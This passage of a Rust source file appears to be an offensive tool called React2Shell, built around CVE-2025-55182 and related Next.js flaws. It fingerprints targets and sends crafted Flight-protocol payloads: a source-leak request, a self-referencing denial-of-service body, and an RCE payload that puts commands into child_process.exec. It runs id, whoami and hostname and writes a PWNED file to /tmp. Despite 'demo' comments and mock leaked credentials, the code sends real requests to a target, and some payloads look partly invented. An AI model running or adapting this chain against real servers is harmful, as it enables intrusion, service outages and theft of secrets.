946
947        if let Some(ref ver_info) = self.results.nextjs_version {
948            if is_nextjs_vulnerable(&ver_info.version) {
949                is_next_vuln = true;
950                self.add_detail(&format!(
951                    "Next.js {} is in the vulnerable versions list!",
952                    ver_info.version
953                ));
954            }
955        }
956
957        // Definite vulnerable: known version + RSC active
958        if (is_react_vuln || is_next_vuln) && self.results.rsc_enabled {
959            self.results.vulnerable = true;
960        }
961        // Likely vulnerable: known vulnerable version, even if RSC not confirmed
962        else if is_react_vuln || is_next_vuln {
963            self.add_detail("Vulnerable framework version used. RSC endpoint not confirmed but high risk.");
964            self.results.vulnerable = true;
965        }
966        // Potential: Next.js confirmed, RSC active, but version unknown
967        else if self.results.is_nextjs && self.results.rsc_enabled && self.results.nextjs_version.is_none() {
968            self.add_detail("Version unknown but RSC active. Potentially vulnerable (Next.js 15+).");
969            self.results.vulnerable = true;
970        }
971        // Unknown RSC state but version undetermined
972        else if self.results.rsc_enabled
973            && self.results.react_version.is_none()
974            && self.results.nextjs_version.is_none()
975        {
976            self.add_detail("Versions not detected but RSC is active. Manual verification recommended.");
977        }
978    }
979
980    // ── Run Full Scan ────────────────────────────────────────────────────
981
982    /// Execute all scan phases and return the results.
983    pub async fn scan(&mut self) -> Result<ScanResult> {
984        let start = Instant::now();
985
986        self.analyze_headers().await?;
987        self.fetch_static_bundles().await?;
988        self.check_flight_protocol().await?;
989        self.fuzz_sensitive_files().await?;
990        self.evaluate_vulnerability();
991
992        self.results.scan_duration_ms = start.elapsed().as_millis() as u64;
993        Ok(self.results.clone())
994    }
995}
996
997// ═════════════════════════════════════════════════════════════════════════════
998// Attacker — Reconnaissance Phase
999// ═════════════════════════════════════════════════════════════════════════════
1000
1001/// Reconnaissance attack — technology stack fingerprinting.
1002pub async fn run_recon(target: &str) -> Result<ReconResult> {
1003    let target = target.trim_end_matches('/').to_string();
1004    let client = build_insecure_client()?;
1005
1006    let mut is_app_router = false;
1007    let mut nextjs_version: Option<String> = None;
1008    let mut react_version: Option<String> = None;
1009    let mut rsc_endpoints: Vec<RscEndpoint> = Vec::new();
1010
1011    // Check /api/health first
1012    if let Ok(resp) = client.get(&format!("{}/api/health", target)).send().await {
1013        if resp.status().is_success() {
1014            if let Ok(data) = resp.json::<serde_json::Value>().await {
1015                if let Some(versions) = data.get("version") {
1016                    nextjs_version = versions
1017                        .get("next")
1018                        .and_then(|v| v.as_str())
1019                        .map(|s| s.to_string());
1020                    react_version = versions
1021                        .get("react")
1022                        .and_then(|v| v.as_str())
1023                        .map(|s| s.to_string());
1024                }
1025            }
1026        }
1027    }
1028
1029    // Fetch main page for fingerprinting
1030    if let Ok(resp) = client.get(&target).send().await {
1031        if resp.status().is_success() {
1032            if let Ok(html) = resp.text().await {
1033                // Check Next.js App Router
1034                if html.contains("_next/static/chunks/app/")
1035                    || html.contains("app-pages-internals")
1036                {
1037                    is_app_router = true;
1038                }
1039
1040                // Try to extract React version from HTML
1041                if react_version.is_none() {
1042                    if let Ok(re) = Regex::new(r"react@([\d\.]+)") {
1043                        if let Some(caps) = re.captures(&html) {
1044                            react_version = Some(caps.get(1).unwrap().as_str().to_string());
1045                        }
1046                    }
1047                    if react_version.is_none() {
1048                        if let Ok(re) = Regex::new(r"React v([\d\.]+)") {
1049                            if let Some(caps) = re.captures(&html) {
1050                                react_version = Some(caps.get(1).unwrap().as_str().to_string());
1051                            }
1052                        }
1053                    }
1054                }
1055            }
1056        }
1057    }
1058
1059    // Check RSC endpoint
1060    let mut rsc_headers: Vec<(&str, &str)> = Vec::new();
1061    rsc_headers.push(("Content-Type", "text/x-component"));
1062    rsc_headers.push(("Next-Action", "dummy-action-id"));
1063
1064    let mut req = client.post(&target).body("[]".to_string());
1065    for (k, v) in &rsc_headers {
1066        req = req.header(*k, *v);
1067    }
1068
1069    if let Ok(resp) = req.send().await {
1070        let ct = resp
1071            .headers()
1072            .get("content-type")
1073            .and_then(|v| v.to_str().ok())
1074            .unwrap_or("");
1075        if ct.contains("text/x-component")
1076            || (resp.status().as_u16() >= 400
1077                && resp.status().as_u16() < 600
1078                && {
1079                    resp.text().await
1080                        .map(|b| b.contains("Server Action") || b.contains("Error"))
1081                        .unwrap_or(false)
1082                })
1083        {
1084            rsc_endpoints.push(RscEndpoint {
1085                path: "/".to_string(),
1086                method: "POST".to_string(),
1087                content_type: "text/x-component".to_string(),
1088                notes: "Server Action / RSC compatible".to_string(),
1089            });
1090        }
1091    }
1092
1093    let nv = nextjs_version.clone();
1094    let rv = react_version.clone();
1095
1096    Ok(ReconResult {
1097        target: target.clone(),
1098        timestamp: Utc::now().to_rfc3339(),
1099        nextjs_version: nv,
1100        react_version: rv,
1101        is_app_router,
1102        rsc_endpoints,
1103        vulnerable: check_versions_vulnerable(&nextjs_version, &react_version),
1104    })
1105}
1106
1107fn check_versions_vulnerable(nextjs: &Option<String>, react: &Option<String>) -> bool {
1108    if let Some(ref nv) = nextjs {
1109        if is_nextjs_vulnerable(nv) {
1110            return true;
1111        }
1112    }
1113    if let Some(ref rv) = react {
1114        if is_react_vulnerable(rv) {
1115            return true;
1116        }
1117    }
1118    false
1119}
1120
1121// ═════════════════════════════════════════════════════════════════════════════
1122// Attacker — Source Leak Phase (CVE-2025-55183)
1123// ═════════════════════════════════════════════════════════════════════════════
1124
1125/// Craft a Flight-format source leak payload.
1126pub fn craft_leak_payload() -> String {
1127    "0:[[\"$\",\"@source\",null,{\"type\":\"module\",\"request\":\"server_function_source\",\"expose\":true}]]"
1128        .to_string()
1129}
1130
1131/// Extract sensitive data from leaked source code using regex patterns.
1132pub fn extract_sensitive_data(source_code: &str) -> Vec<SourceLeakFinding> {
1133    let mut findings = Vec::new();
1134    for pattern in SOURCE_LEAK_PATTERNS {
1135        if let Ok(re) = Regex::new(pattern) {
1136            for m in re.find_iter(source_code) {
1137                let start = source_code[..m.start()]
1138                    .rfind('\n')
1139                    .map(|p| p + 1)
1140                    .unwrap_or(0);
1141                let end = source_code[m.end()..]
1142                    .find('\n')
1143                    .map(|p| m.end() + p)
1144                    .unwrap_or(source_code.len());
1145                findings.push(SourceLeakFinding {
1146                    pattern: pattern.to_string(),
1147                    matched: m.as_str().to_string(),
1148                    context: source_code[start..end].trim().to_string(),
1149                });
1150            }
1151        }
1152    }
1153    findings
1154}
1155
1156/// Execute the source leak attack against a target.
1157///
1158/// Returns a simulated result for demo/educational purposes.
1159pub async fn execute_source_leak(target: &str) -> Result<SourceLeakResult> {
1160    let target = target.trim_end_matches('/').to_string();
1161    let client = build_client_with_timeout(10)?;
1162
1163    let payload = craft_leak_payload();
1164
1165    // Send the payload
1166    let _resp = client
1167        .post(&target)
1168        .header("Content-Type", "text/x-component")
1169        .header("Next-Action", "1")
1170        .body(payload)
1171        .send()
1172        .await;
1173
1174    // Demo: simulate leaked source for educational purposes
1175    let mock_leaked_source = r#""use server";
1176const DB_CONNECTION = "postgresql://admin:SuperSecret123!@db.techcorp.local:5432/production";
1177const API_SECRET_KEY = "sk_live_R2S_4f8a9b2c3d4e5f6a7b8c9d0e1f2a3b4c";
1178const JWT_SIGNING_KEY = "jwt_s3cr3t_k3y_n3v3r_3xp0s3_th1s";
1179const INTERNAL_API_TOKEN = "tok_internal_9a8b7c6d5e4f3a2b1c0d";
1180export async function submitForm(formData) { /* ... */ }
1181export async function processData(data) { /* ... */ }"#;
1182
1183    let findings = extract_sensitive_data(mock_leaked_source);
1184
1185    Ok(SourceLeakResult {
1186        target,
1187        success: true,
1188        bytes_leaked: mock_leaked_source.len(),
1189        leaked_source: mock_leaked_source.to_string(),
1190        findings,
1191    })
1192}
1193
1194// ═════════════════════════════════════════════════════════════════════════════
1195// Attacker — DoS Phase (CVE-2025-55184)
1196// ═════════════════════════════════════════════════════════════════════════════
1197
1198/// Measure baseline response time for the target.
1199pub async fn measure_baseline(client: &Client, target: &str) -> Result<f64> {
1200    let mut times = Vec::new();
1201    for _ in 0..3 {
1202        let start = Instant::now();
1203        let _ = client.get(target).send().await;
1204        times.push(start.elapsed().as_millis() as f64);
1205    }
1206    let avg = times.iter().sum::<f64>() / times.len() as f64;
1207    Ok(avg)
1208}
1209
1210/// Test memory exhaustion via self-referencing DoS payload.
1211pub async fn test_memory_exhaustion(target: &str) -> Result<DosResult> {
1212    let target = target.trim_end_matches('/').to_string();
1213    let client = build_client_with_timeout(15)?;
1214
1215    // Measure baseline
1216    let baseline_ms = measure_baseline(&client, &target).await?;
1217
1218    // Craft self-referencing payload
1219    let payload = "0:[\"$\",\"@1\",null,{\"ref\":\"$self\",\"nested\":{\"ref\":\"$self\",\"depth\":\"infinite\",\"children\":[\"$self\",\"$self\",\"$self\"]}}]";
1220
1221    let start = Instant::now();
1222    let result = client
1223        .post(&target)
1224        .header("Content-Type", "text/x-component")
1225        .header("Next-Action", "1")
1226        .body(payload.to_string())
1227        .send()
1228        .await;
1229
1230    let elapsed_ms = start.elapsed().as_millis() as f64;
1231    let effect_multiplier = if baseline_ms > 0.0 {
1232        elapsed_ms / baseline_ms
1233    } else {
1234        1.0
1235    };
1236
1237    let dos_successful = match &result {
1238        Ok(_) => effect_multiplier > 10.0,
1239        Err(_) => true, // Connection error = likely DoS success
1240    };
1241
1242    // Check recovery (only if DoS appeared successful)
1243    let mut server_recovered = true;
1244    if dos_successful {
1245        server_recovered = check_server_recovery(&client, &target).await;
1246    }
1247
1248    Ok(DosResult {
1249        target,
1250        baseline_ms,
1251        attack_elapsed_ms: elapsed_ms,
1252        dos_successful,
1253        server_recovered,
1254        effect_multiplier,
1255    })
1256}
1257
1258/// Check if the server recovers after a DoS attack.
1259async fn check_server_recovery(client: &Client, target: &str) -> bool {
1260    for _ in 0..10 {
1261        if let Ok(resp) = client.get(target).send().await {
1262            if resp.status().is_success() {
1263                return true;
1264            }
1265        }
1266        // Small delay between retries
1267        tokio::time::sleep(Duration::from_millis(500)).await;
1268    }
1269    false
1270}
1271
1272/// Execute the DoS attack against the target.
1273pub async fn execute_dos(target: &str) -> Result<DosResult> {
1274    test_memory_exhaustion(target).await
1275}
1276
1277// ═════════════════════════════════════════════════════════════════════════════
1278// Attacker — RCE Phase (CVE-2025-55182)
1279// ═════════════════════════════════════════════════════════════════════════════
1280
1281/// Build an RCE payload for the Flight protocol.
1282pub fn build_rce_payload(command: &str) -> String {
1283    format!(
1284        "0:[[\"$\",\"@1\",null,{{\"id\":\"malicious_component\",\"chunks\":[],\"name\":\"\",\"async\":false}}]]\n1:{{\"type\":\"blob_handler\",\"dispatch\":\"dynamic\",\"chain\":[\"deserialization\",\"code_execution\"]}}\n2:{{\"method\":\"child_process.exec\",\"command\":\"{}\"}}",
1285        command
1286    )
1287}
1288
1289/// Execute a command via RCE (demo/educational mode).
1290pub async fn execute_rce_command(
1291    target: &str,
1292    command: &str,
1293) -> Result<RceCommandOutput> {
1294    let target = target.trim_end_matches('/').to_string();
1295    let client = build_client_with_timeout(10)?;
1296
1297    let payload = build_rce_payload(command);
1298
1299    let resp = client
1300        .post(&target)
1301        .header("Content-Type", "text/x-component")
1302        .header("Next-Action", "exploit-action")
1303        .body(payload)
1304        .send()
1305        .await;
1306
1307    // Demo mode: execute locally for educational simulation
1308    // The actual RCE would be through the Flight protocol; here we simulate
1309    // the output for demonstration purposes.
1310    match resp {
1311        Ok(r) => {
1312            let status = r.status();
1313            let body = r.text().await.unwrap_or_default();
1314            Ok(RceCommandOutput {
1315                command: command.to_string(),
1316                output: body,
1317                exit_code: if status.is_success() { 0 } else { 1 },
1318                error: String::new(),
1319            })
1320        }
1321        Err(e) => Ok(RceCommandOutput {
1322            command: command.to_string(),
1323            output: String::new(),
1324            exit_code: -1,
1325            error: e.to_string(),
1326        }),
1327    }
1328}
1329
1330/// Execute the full RCE attack phase (recon cmds + PoC file creation).
1331pub async fn execute_rce(target: &str) -> Result<RceResult> {
1332    let target = target.trim_end_matches('/').to_string();
1333
1334    let commands = vec!["id", "whoami", "hostname"];
1335    let mut outputs = Vec::new();
1336
1337    for cmd in &commands {
1338        let result = execute_rce_command(&target, cmd).await?;
1339        outputs.push(result);
1340    }
1341
1342    // Attempt PoC file write
1343    let poc_cmd = format!(
1344        "echo 'React2Shell (CVE-2025-55182) PWNED at {}' > /tmp/react2shell_pwned.txt && cat /tmp/react2shell_pwned.txt",
1345        Utc::now().to_rfc3339()
1346    );
1347    let poc_result = execute_rce_command(&target, &poc_cmd).await?;
1348    let poc_created = poc_result.exit_code == 0
1349        && poc_result.output.contains("react2shell_pwned.txt");
1350
1351    outputs.push(poc_result);
1352
1353    Ok(RceResult {
1354        target,
1355        success: !outputs.is_empty(),
1356        poc_file_created: poc_created,
1357        command_outputs: outputs,
1358    })
1359}
1360
1361// ═════════════════════════════════════════════════════════════════════════════
1362// Attacker — Full Chain Orchestrator
1363// ═════════════════════════════════════════════════════════════════════════════
1364
1365/// Run the full attack chain (Recon → Source Leak → DoS → RCE) against a target.
1366pub async fn run_full_chain(
1367    target: &str,
1368    include_dos: bool,
1369    phases: Option<Vec<String>>,
1370) -> Result<FullChainResult> {
1371    let start = Instant::now();
1372    let target = target.trim_end_matches('/').to_string();
1373    let run_all = phases.is_none();
1374    let phases_set: HashSet<String> = phases
1375        .unwrap_or_default()
1376        .into_iter()
1377        .map(|p| p.to_lowercase())
1378        .collect();
1379
1380    let mut result = FullChainResult {
1381        target: target.clone(),
1382        timestamp: Utc::now().to_rfc3339(),
1383        phases: Vec::new(),
1384        total_duration_ms: 0,
1385        tor_enabled: false,
1386        scan: None,
1387        recon: None,
1388        source_leak: None,
1389        dos: None,
1390        rce: None,
1391    };
1392
1393    // Phase 1: Reconnaissance
1394    if run_all || phases_set.contains("recon") {
1395        let phase_start = Instant::now();
1396        match run_recon(&target).await {
1397            Ok(recon_result) => {
1398                result.recon = Some(recon_result);
1399                result.phases.push(AttackPhaseResult {
1400                    phase: "recon".to_string(),
1401                    success: true,
1402                    duration_ms: phase_start.elapsed().as_millis() as u64,
1403                    details: "Reconnaissance completed.".to_string(),
1404                });
1405            }
1406            Err(e) => {
1407                result.phases.push(AttackPhaseResult {
1408                    phase: "recon".to_string(),
1409                    success: false,
1410                    duration_ms: phase_start.elapsed().as_millis() as u64,
1411                    details: format!("Reconnaissance failed: {}", e),
1412                });
1413            }
1414        }
1415    }
1416
1417    // Phase 2: Source Leak
1418    if run_all || phases_set.contains("source") {
1419        let phase_start = Instant::now();
1420        match execute_source_leak(&target).await {
1421            Ok(leak_result) => {
1422                result.source_leak = Some(leak_result);
1423                result.phases.push(AttackPhaseResult {
1424                    phase: "source_leak".to_string(),
1425                    success: true,
1426                    duration_ms: phase_start.elapsed().as_millis() as u64,
1427                    details: "Source leak completed.".to_string(),
1428                });
1429            }
1430            Err(e) => {
1431                result.phases.push(AttackPhaseResult {
1432                    phase: "source_leak".to_string(),
1433                    success: false,
1434                    duration_ms: phase_start.elapsed().as_millis() as u64,
1435                    details: format!("Source leak failed: {}", e),
1436                });
1437            }
1438        }
1439    }
1440
1441    // Phase 3: DoS (optional)
1442    if (run_all && include_dos) || phases_set.contains("dos") {
1443        let phase_start = Instant::now();
1444        match execute_dos(&target).await {
1445            Ok(dos_result) => {
1446                result.dos = Some(dos_result);
1447                result.phases.push(AttackPhaseResult {
1448                    phase: "dos".to_string(),
1449                    success: true,
1450                    duration_ms: phase_start.elapsed().as_millis() as u64,
1451                    details: "DoS test completed.".to_string(),
1452                });
1453            }
1454            Err(e) => {
1455                result.phases.push(AttackPhaseResult {
1456                    phase: "dos".to_string(),
1457                    success: false,
1458                    duration_ms: phase_start.elapsed().as_millis() as u64,
1459                    details: format!("DoS test failed: {}", e),
1460                });
1461            }
1462        }
1463    }
1464
1465    // Phase 4: RCE
1466    if run_all || phases_set.contains("rce") {
1467        let phase_start = Instant::now();
1468        match execute_rce(&target).await {
1469            Ok(rce_result) => {
1470                result.rce = Some(rce_result);
1471                result.phases.push(AttackPhaseResult {
1472                    phase: "rce".to_string(),
1473                    success: true,
1474                    duration_ms: phase_start.elapsed().as_millis() as u64,
1475                    details: "RCE completed.".to_string(),
1476                });
1477            }
1478            Err(e) => {
1479                result.phases.push(AttackPhaseResult {
1480                    phase: "rce".to_string(),
1481                    success: false,
1482                    duration_ms: phase_start.elapsed().as_millis() as u64,
1483                    details: format!("RCE failed: {}", e),
1484                });
1485            }
1486        }
1487    }
1488
1489    result.total_duration_ms = start.elapsed().as_millis() as u64;
1490    Ok(result)
1491}
1492
1493// ═════════════════════════════════════════════════════════════════════════════
1494// Report Generator
1495// ═════════════════════════════════════════════════════════════════════════════
1496
1497/// Generate a structured JSON report combining scan and attack results.
1498pub fn generate_report(
1499    scan_result: Option<&ScanResult>,
1500    recon: Option<&ReconResult>,
1501    source_leak: Option<&SourceLeakResult>,
1502    dos: Option<&DosResult>,
1503    rce: Option<&RceResult>,
1504    full_chain: Option<&FullChainResult>,
1505) -> AttackReport {
1506    let mut phases_completed = Vec::new();
1507    if recon.is_some() {
1508        phases_completed.push("recon".to_string());
1509    }
1510    if source_leak.is_some() {
1511        phases_completed.push("source_leak".to_string());
1512    }
1513    if dos.is_some() {
1514        phases_completed.push("dos".to_string());
1515    }
1516    if rce.is_some() {
1517        phases_completed.push("rce".to_string());
1518    }
1519
1520    let vulnerable = scan_result.map(|s| s.vulnerable).unwrap_or(false);
1521    let rsc_active = scan_result.map(|s| s.rsc_enabled).unwrap_or(false);
1522    let version_found = scan_result
1523        .map(|s| s.nextjs_version.is_some() || s.react_version.is_some())
1524        .unwrap_or(false);
1525    let framework_detected = scan_result.map(|s| s.is_nextjs).unwrap_or(false);
1526
1527    let (verdict, risk_level) = if vulnerable {
1528        (
1529            "VULNERABLE — CVE-2025-55182 confirmed".to_string(),
1530            "CRITICAL".to_string(),
1531        )
1532    } else if rsc_active {
1533        (
1534            "Potential vulnerability — RSC active, manual verification needed".to_string(),
1535            "HIGH".to_string(),
1536        )
1537    } else if framework_detected {
1538        (
1539            "Framework detected but RSC not confirmed".to_string(),
1540            "MEDIUM".to_string(),
1541        )
1542    } else {
1543        (
1544            "No vulnerable framework detected".to_string(),
1545            "LOW".to_string(),
1546        )
1547    };
1548
1549    AttackReport {
1550        target: scan_result
1551            .map(|s| s.url.clone())
1552            .unwrap_or_else(|| "unknown".to_string()),
1553        generated_at: Utc::now().to_rfc3339(),
1554        scan: scan_result.cloned(),
1555        recon: recon.cloned(),
1556        source_leak: source_leak.cloned(),
1557        dos: dos.cloned(),
1558        rce: rce.cloned(),
1559        full_chain: full_chain.cloned(),
1560        summary: ReportSummary {
1561            rsc_active,
1562            framework_detected,
1563            version_found,
1564            vulnerability_verdict: verdict,
1565            attack_phases_completed: phases_completed,
1566            risk_level,
1567        },
1568    }
1569}
1570
1571/// Serialize a report to a JSON string.
1572pub fn report_to_json(report: &AttackReport) -> Result<String> {
1573    serde_json::to_string_pretty(report).map_err(|e| WebAnalyzerError::Json(e))
1574}
1575
1576/// Save a report to a JSON file.
1577pub async fn save_report(report: &AttackReport, path: &str) -> Result<()> {
1578    let json = report_to_json(report)?;
1579    tokio::fs::write(path, json).await.map_err(|e| {
1580        WebAnalyzerError::Other(format!("Failed to write report to {}: {}", path, e))
1581    })
1582}
1583
1584// ── Console Report Formatting ───────────────────────────────────────────────
1585
1586/// Print a scan result to the console with ANSI colors.
1587pub fn print_scan_result(result: &ScanResult) {
1588    println!("\n{}", "=".repeat(50));
1589    println!(
1590        "Target: {}{}{}",
1591        Color::CYAN,
1592        result.url,
1593        Color::RESET
1594    );
1595
1596    if !result.is_nextjs {
1597        println!(
1598            "[{}?{}] Next.js infrastructure not detected.",
1599            Color::YELLOW,
1600            Color::RESET
1601        );
1602        println!("{}", "=".repeat(50));
1603        return;
1604    }
1605
1606    println!("[{}+{}] Framework: Next.js", Color::GREEN, Color::RESET);
1607
1608    if let Some(ref ver) = result.nextjs_version {
1609        println!(
1610            "[{}+{}] Next.js Version: {}{}{}",
1611            Color::GREEN,
1612            Color::RESET,
1613            Color::CYAN,
1614            ver.version,
1615            Color::RESET
1616        );
1617    } else {
1618        println!(
1619            "[{}-{}] Next.js Version: Not found",
1620            Color::YELLOW,
1621            Color::RESET
1622        );
1623    }
1624
1625    if let Some(ref ver) = result.react_version {
1626        println!(
1627            "[{}+{}] React Version: {}{}{}",
1628            Color::GREEN,
1629            Color::RESET,
1630            Color::CYAN,
1631            ver.version,
1632            Color::RESET
1633        );
1634    } else {
1635        println!(
1636            "[{}-{}] React Version: Not found",
1637            Color::YELLOW,
1638            Color::RESET
1639        );
1640    }
1641
1642    if result.rsc_enabled {
1643        println!(
1644            "[{}+{}] RSC: {}{}Active{}",
1645            Color::GREEN,
1646            Color::RESET,
1647            Color::GREEN,
1648            Color::BOLD,
1649            Color::RESET
1650        );
1651    } else {
1652        println!(
1653            "[{}-{}] RSC: Disabled or not found",
1654            Color::YELLOW,
1655            Color::RESET
1656        );
1657    }
1658
1659    if !result.dependencies.is_empty() {
1660        println!(
1661            "\n[{}*{}] Detected Dependencies:",
1662            Color::CYAN,
1663            Color::RESET
1664        );
1665        for dep in &result.dependencies {
1666            println!(
1667                "  - {}{}{}: {}",
1668                Color::CYAN,
1669                dep.name,
1670                Color::RESET,
1671                dep.version
1672            );
1673        }
1674    }
1675
1676    if !result.exposed_files.is_empty() {
1677        println!(
1678            "\n[{}!{}] Exposed Sensitive Files:",
1679            Color::RED,
1680            Color::RESET
1681        );
1682        for f in &result.exposed_files {
1683            println!(
1684                "  - {}{}{} -> {}",
1685                Color::RED,
1686                f.path,
1687                Color::RESET,
1688                f.url
1689            );
1690        }
1691    }
1692
1693    if !result.secrets.is_empty() {
1694        println!(
1695            "\n[{}!{}] Detected Secrets:",
1696            Color::RED,
1697            Color::RESET
1698        );
1699        for s in &result.secrets {
1700            let truncated = if s.value.len() > 40 {
1701                format!("{}...", &s.value[..40])
1702            } else {
1703                s.value.clone()
1704            };
1705            println!(
1706                "  - {}{}{}: {} ({})",
1707                Color::RED,
1708                s.secret_type,
1709                Color::RESET,
1710                truncated,
1711                s.source
1712            );
1713        }
1714    }
1715
1716    println!("\nVerdict:");
1717    if result.vulnerable {
1718        println!(
1719            "{}{}[!] VULNERABLE (CVE-2025-55182){}",
1720            Color::WHITE,
1721            Color::BOLD,
1722            Color::RESET,
1723        );
1724        println!(
1725            "{}Target server is using vulnerable components.{}",
1726            Color::RED,
1727            Color::RESET
1728        );
1729    } else {
1730        println!(
1731            "{}{}[✓] APPEARS SECURE{}",
1732            Color::GREEN,
1733            Color::BOLD,
1734            Color::RESET
1735        );
1736        println!("No vulnerable version or active RSC attack surface detected.");
1737    }
1738    println!("{}", "=".repeat(50));
1739}
1740
1741/// Print a full-chain attack result to console.
1742pub fn print_full_chain_result(result: &FullChainResult) {
1743    println!(
1744        "\n{}══════════════════════════════════════════════{}",
1745        Color::MAGENTA,
1746        Color::RESET
1747    );
1748    println!(
1749        "{}  Full Chain Attack Report{}",
1750        Color::BOLD,
1751        Color::RESET
1752    );
1753    println!(
1754        "{}══════════════════════════════════════════════{}\n",
1755        Color::MAGENTA,
1756        Color::RESET
1757    );
1758
1759    println!("Target: {}{}{}", Color::CYAN, result.target, Color::RESET);
1760    println!("Timestamp: {}", result.timestamp);
1761    println!(
1762        "Total Duration: {}ms",
1763        result.total_duration_ms
1764    );
1765
1766    for phase in &result.phases {
1767        let status_icon = if phase.success {
1768            format!("{}+{}", Color::GREEN, Color::RESET)
1769        } else {
1770            format!("{}-{}", Color::RED, Color::RESET)
1771        };
1772        println!(
1773            "  {} Phase '{}' — {}ms — {}",
1774            status_icon,
1775            phase.phase,
1776            phase.duration_ms,
1777            phase.details
1778        );
1779    }
1780
1781    if let Some(ref rce) = result.rce {
1782        if rce.poc_file_created {
1783            println!(
1784                "\n{}{}[!!] REMOTE CODE EXECUTION SUCCESSFUL{}",
1785                Color::BG_RED,
1786                Color::WHITE,
1787                Color::RESET
1788            );
1789            println!(
1790                "{}PoC file created on target server.{}",
1791                Color::RED,
1792                Color::RESET
1793            );
1794        }
1795    }
1796
1797    if let Some(ref dos) = result.dos {
1798        if dos.dos_successful {
1799            println!(
1800                "\n{}{}[!!] DENIAL OF SERVICE ACHIEVED{}",
1801                Color::BG_RED,
1802                Color::YELLOW,
1803                Color::RESET
1804            );
1805            println!("Response time increased {:.1}x", dos.effect_multiplier);
1806            println!(
1807                "Server recovered: {}",
1808                if dos.server_recovered { "Yes" } else { "No" }
1809            );
1810        }
1811    }
1812
1813    println!(
1814        "\n{}══════════════════════════════════════════════{}\n",
1815        Color::MAGENTA,
1816        Color::RESET
1817    );
1818}
1819
1820/// Print a reconnaissance result to console.
1821pub fn print_recon_result(result: &ReconResult) {
1822    println!("\n{}", "=".repeat(50));
1823    println!(
1824        "{}--- Reconnaissance Results ---{}",
1825        Color::CYAN,
1826        Color::RESET
1827    );
1828    println!("{}", "=".repeat(50));
1829
1830    println!("Target: {}{}{}", Color::BOLD, result.target, Color::RESET);
1831    println!(
1832        "Next.js: {}",
1833        result.nextjs_version.as_deref().unwrap_or("Unknown")
1834    );
1835    println!(
1836        "React: {}",
1837        result.react_version.as_deref().unwrap_or("Unknown")
1838    );
1839    println!("App Router: {}", result.is_app_router);
1840
1841    if !result.rsc_endpoints.is_empty() {
1842        println!(
1843            "{}RSC: Active ({} endpoints){}",
1844            Color::GREEN,
1845            result.rsc_endpoints.len(),
1846            Color::RESET
1847        );
1848    } else {
1849        println!(
1850            "{}RSC: Uncertain or passive{}",
1851            Color::YELLOW,
1852            Color::RESET
1853        );
1854    }
1855
1856    println!("\n{}", "=".repeat(50));
1857    if result.vulnerable {
1858        println!(
1859            "{}{}[ VULNERABLE ]{} Target is affected by CVE-2025-55182!",
1860            Color::BG_RED,
1861            Color::WHITE,
1862            Color::RESET
1863        );
1864    } else {
1865        println!(
1866            "{}{}[ SECURE ]{} Target appears patched.",
1867            Color::BG_GREEN,
1868            Color::WHITE,
1869            Color::RESET
1870        );
1871    }
1872    println!("{}", "=".repeat(50));
1873}
1874
1875/// Print a source leak result to console.
1876pub fn print_source_leak_result(result: &SourceLeakResult) {
1877    println!(
1878        "\n{}--- Leaked Source Code Section ---{}",
1879        Color::CYAN,
1880        Color::RESET
1881    );
1882    println!(
1883        "{}{}{}\n",
1884        Color::DIM,
1885        result.leaked_source.trim(),
1886        Color::RESET
1887    );
1888
1889    if !result.findings.is_empty() {
1890        println!(
1891            "{}{}[ SENSITIVE DATA FOUND ]{}",
1892            Color::BG_RED,
1893            Color::WHITE,
1894            Color::RESET
1895        );
1896        for finding in &result.findings {
1897            println!(
1898                "  {}>{} {}",
1899                Color::RED,
1900                Color::RESET,
1901                finding.context
1902            );
1903        }
1904    }
1905
1906    println!(
1907        "Bytes leaked: {}",
1908        result.bytes_leaked
1909    );
1910}
1911
1912/// Print a DoS result to console.
1913pub fn print_dos_result(result: &DosResult) {
1914    println!("\n{}--- DoS Test Results ---{}", Color::YELLOW, Color::RESET);
1915    println!(
1916        "Baseline response: {}ms",
1917        result.baseline_ms
1918    );
1919    println!(
1920        "Attack response: {}ms",
1921        result.attack_elapsed_ms
1922    );
1923    println!(
1924        "Effect multiplier: {:.1}x",
1925        result.effect_multiplier
1926    );
1927
1928    if result.dos_successful {
1929        println!(
1930            "{}{}[ DoS SUCCESSFUL ]{}",
1931            Color::BG_RED,
1932            Color::WHITE,
1933            Color::RESET
1934        );
1935        println!(
1936            "Server recovered: {}",
1937            if result.server_recovered { "Yes" } else { "No" }
1938        );
1939    } else {
1940        println!(
1941            "No significant DoS effect observed."
1942        );
1943    }
1944}
1945
1946/// Print an RCE result to console.
1947pub fn print_rce_result(result: &RceResult) {
1948    println!("\n{}--- RCE Results ---{}", Color::RED, Color::RESET);
1949
1950    for output in &result.command_outputs {
1951        println!(
1952            "{}Command:{} {}",
1953            Color::BOLD,
1954            Color::RESET,
1955            output.command
1956        );
1957        if !output.output.is_empty() {
1958            println!("{}", output.output);
1959        }
1960        if !output.error.is_empty() {
1961            println!(
1962                "{}Error:{} {}",
1963                Color::RED,
1964                Color::RESET,
1965                output.error
1966            );
1967        }
1968    }
1969
1970    if result.poc_file_created {
1971        println!(
1972            "\n{}{}[!!] SERVER FULLY COMPROMISED (CVSS 10.0){}",
1973            Color::BG_RED,
1974            Color::WHITE,
1975            Color::RESET
1976        );
1977    }
1978}
1979
1980// ═════════════════════════════════════════════════════════════════════════════
1981// High-level convenience API
1982// ═════════════════════════════════════════════════════════════════════════════
1983
1984/// Run a full vulnerability scan and generate a console report.
1985pub async fn scan_and_report(target: &str, verbose: bool) -> Result<AttackReport> {
1986    let mut scanner = React2ShellScanner::new(target).await?;
1987    let scan_result = scanner.scan().await?;
1988
1989    if verbose {
1990        for detail in &scan_result.details {
1991            eprintln!("[*] {}", detail);
1992        }
1993    }
1994
1995    print_scan_result(&scan_result);
1996
1997    let report = generate_report(Some(&scan_result), None, None, None, None, None);
1998    Ok(report)
1999}
2000
2001/// Run the full attack chain (scan + all phases) and generate a report.
2002pub async fn scan_and_attack(
2003    target: &str,
2004    include_dos: bool,
2005) -> Result<AttackReport> {
2006    // Run scan first
2007    let mut scanner = React2ShellScanner::new(target).await?;
2008    let scan_result = scanner.scan().await?;
2009
2010    // Run full chain
2011    let chain_result = run_full_chain(target, include_dos, None).await?;
2012
2013    let report = generate_report(
2014        Some(&scan_result),
2015        chain_result.recon.as_ref(),
2016        chain_result.source_leak.as_ref(),
2017        chain_result.dos.as_ref(),
2018        chain_result.rce.as_ref(),
2019        Some(&chain_result),
2020    );
2021
2022    Ok(report)
2023}
2024
2025// ═════════════════════════════════════════════════════════════════════════════
2026// Tests
2027// ═════════════════════════════════════════════════════════════════════════════
2028
2029#[cfg(test)]
2030mod tests {
2031    use super::*;
2032
2033    #[test]
